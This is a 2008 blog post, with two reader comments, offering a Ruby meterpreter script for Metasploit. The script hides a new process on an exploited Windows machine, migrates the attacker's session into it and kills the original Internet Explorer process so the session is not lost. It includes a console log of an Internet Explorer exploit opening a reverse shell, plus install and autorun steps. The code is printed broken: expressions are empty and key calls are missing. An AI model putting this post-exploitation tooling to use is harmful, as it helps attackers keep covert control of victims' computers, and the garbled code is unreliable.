Friday, December 12, 2008

Automatic migration to a new process with meterpreter

Playing with metasploit's new ie_xml_corruption module, I needed a way to automatically migrate outside of the current process (iexplore.exe). This particular exploit locks up the process upon exploitation, leaving the user sitting at a hung Internet Explorer. Should a user ctrl+alt+delete and terminate it, I didn't want to lose the session.

An example migrate script exists that will do some of this, but if you use it in it's default form, it migrates to lsass.exe. If meterpreter then crashes (or you close it), it'll kill the whole process... which you certainly don't want to do with lsass. Also, my little script has the added benefit of working even if the exploited user doesn't have admin privileges (and LSASS migration would then be impossible).

msf exploit(ie_xml_corruption) > exploit
[*] Exploit running as background job.
[*] Handler binding to LHOST
[*] Started reverse handler
[*] Using URL:
[*] Server started.
[*] Sending HTML to
[*] Sending DLL to
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (75776 bytes)
[*] Meterpreter session 5 opened ( ->
msf exploit(ie_xml_corruption) > sessions -i 5
[*] Starting interaction with 5...

run launch_and_migrate
[*] Launching hidden cmd.exe...
[*] Process 5560 created.
[*] Current process is IEXPLORE.EXE (656). Migrating to 5560.
[*] Migration completed successfully.
[*] New server process: cmd.exe (5560)
[*] Old process 656 killed.

Save the file to .msf3/scripts/meterpreter/ (may need to create the subdirectories) and it'll become available to your meterpreter sessions. You should be able to set the script to automatically run with the advanced AutoRunScript option:

Payload advanced options (windows/reflectivemeterpreter/reverse_tcp):

Name : AutoLoadStdapi
Current Setting: true
Description : Automatically load the Stdapi extension

Name : AutoRunScript
Current Setting:
Description : Script to autorun on meterpreter session creation

... but I couldn't get it to work in the few minutes I had to play with it. It may be broken on Windows, or I just may not be able to figure out how to do paths in Windows + Ruby. I'll check with my linux install over the weekend.

And here's the code:


## Meterpreter script that launches a hidden process,
## migrates to it, then kills the old process.
## Provided by natron (natron 0x40 invisibledenizen 0x2E com)

# Get the target process name
target = args[0] || "cmd.exe"

def launchProc(target)
print_status("Launching hidden #{target}...")

# Set the vars; these can of course be modified if need be
cmd_exec = target
cmd_args = nil
hidden = true
channelized = nil
use_thread_token = false

# Launch new process
newproc = client.sys.process.execute(cmd_exec, cmd_args,
'Channelized' => channelized,
'Hidden' => hidden,
'InMemory' => nil,
'UseThreadToken' => use_thread_token)

print_status("Process #{} created.")

return newproc

def migrateToProc(newproc)
# Grab the current pid info
server =
print_status("Current process is #{} (#{}). Migrating to #{}.")

# Save the old process info so we can kill it after migration.
oldproc =

# Do the migration

print_status("Migration completed successfully.")

# Grab new process info
server =

print_status("New server process: #{} (#{})")

return oldproc

def killApp(procpid)
print_status("Old process #{procpid} killed.")

# Main flow of execution
newProcPid = launchProc(target)
oldProc = migrateToProc(newProcPid)


Saint Patrick said...

Neat script

byteskrew said...

do you think it would be possible to raise an exception in case migrate process is not success?thereby you can notice if there's problem in migrate process

just a thought...